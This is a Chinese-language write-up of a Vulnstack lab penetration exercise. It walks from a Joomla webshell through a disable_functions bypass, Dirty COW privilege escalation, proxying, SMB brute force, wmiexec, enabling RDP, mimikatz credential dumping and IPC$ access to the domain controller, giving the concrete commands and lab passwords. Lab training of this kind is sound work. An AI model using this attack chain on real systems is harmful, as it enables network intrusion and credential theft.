靶场搭建
靶场下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/
下载下来之后目录是这样
环境配置:
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述:
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。
设备信息:
web-centos:
双网卡:桥接+VMnet2
web1-ubantu:
单网卡:VMnet2
Windows server 2008:
单网卡:VMnet2
Windows server 2012:
单网卡:VMnet2
PC-Windows 7
单网卡:VMnet2
目标信息:
http://192.168.178.118/
注意:web-centos这一台一开始是192.168.1.110,但是本机上面不存在该网段,需要重启一下网卡,才能桥接到本机的网段
重启网卡:
/etc/init.d/network restart
外网打点
nmap进行端口扫描
也可以fscan进行扫描
mysql数据库弱口令:
mysql:192.168.178.118:3306:root 123(这个数据库存在多个账号,内容是否一样未做判断)
dirsearch进行目录扫描
phpinfo页面(可以查看禁用哪些函数)
后台登录地址
数据库配置文件(另一个账号testuser/cvcvgjASD!@)
连接成功,这里虽然找到了管理员的账号密码,但是密码是被加密的,而加密方式也并不知道(其实一般的网站后台账号的加密方式是MD5,这种的就可以直接将“123456”进行加密把他的替换掉,就可以登陆了,前提是要备份一下他原先的密码;但是这种就不能使用这种方式了)
直接添加新的管理员账户(根据joomla官方文档 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn)
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
这里就添加了一个admin2/secret超级管理员账户(后台管理界面)
然后Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,写入一句话木马。
蚁剑连接
http://192.168.178.118/templates/beez3/webshell.php
发现无法执行命令
这里可能是对系统执行函数做了限制,查看刚刚的phpinfo页面,禁用了一系列的函数
蚁剑有专门绕过disable_functions的插件(可以在插件市场下载,需要梯子)
选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端
绕过成功
ipconfig -a发现只有一个网卡,而centos应该有两个网卡,一个出网网卡,一个内网网卡
uname -a 发现是Ubuntu系统
拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息
原来是Centos是Ubuntu的反向代理,用的是Nginx协议
在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqx
前面扫描端口存在ssh,这应该是用在这,使用ssh连接工具登录ssh
ifconfig(双网卡,内网网段192.168.93.0/24)
成功获得centos的shell,接下来进行提权
Linux提权
1、内核提权(脏牛提权)
2、suid提权
3、sudo提权
4、数据库提权
sudo -l查看特权命令(失败)
suid提权(失败)
通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见root权限文件
nmap
vim
find
bash
more
less
nano
cp
内核提权–脏牛提权(CVE-2016-5195)(成功)
上传到临时文件夹/tmp下
对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码
./dirty 123456
su firefart
输入密码123456
提权成功
上传iox进行正向代理,proxifer设置sock5代理
./iox proxy -l 5555
上传fscan进行内网探测(本机也是可以的,但是有时候会卡死,导致电脑直接卡崩,可能是动静太大)
./fscan_amd64 -h 192.168.93.0/24 -np -nopoc
得到以下几个信息:
1、两个数据库弱口令:
mysql:192.168.93.120:3306:root 123
mysql:192.168.93.100:3306:root 123
2、存在域控192.168.93.10
3、开启了445端口,可以smb爆破
smb爆破(超级弱口令自带的字典爆不成功,kali自带的字典能够爆破成功,这里单纯只是想在不使用kali的情况拿到靶标)(其实到这里已经拿到所有服务器的账号密码了)
可以利用wmi来控制主机,进行操作(wmi 出现在所有的windows操作系统中,由一组强大的工具集合组成,用于管理本地或远程的windows系统。攻击者使用wmi攻击时windows系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性
参考文章:
https://zhuanlan.zhihu.com/p/228874296
python wmiexec.py -debug administrator:123qwe!ASD@192.168.93.20
查看系统进程,可以发现有TEST域进程,那么就可以尝试抓取密码
tasklist /V
可以在kali 使用 smbclient 通过代理连接 windows server 2008 上传 mimikatz
但这里不使用kali,只有CMD且没有与外网连接,想要上传文件只能通过3389远程连接
开远程桌面功能
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1
防火墙放行
netsh advfirewall firewall set rule group=“Remote Desktop” new enable=yes
成功连接192.168.93.20的远程桌面
administrator/123qwe!ASD
利用mimikatz.exe运行工具抓取密码
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” “exit” > log.log
IPC远程连接
IPC(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主机建立一个连接,得到目标主机上的目录结构、用户列表等信息。
利用条件:
1、管理员开启了默认共享
2、139或445端口开放
利用wmi连接08服务器,然后利用IPC连接域控服务器,读取内部重要文件
IPC连接–寻找重要文件–读取文件
net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator
dir \\192.168.93.10\c$\users\administrator\documents
type \\192.168.93.10\c$\users\administrator\documents\flag.txt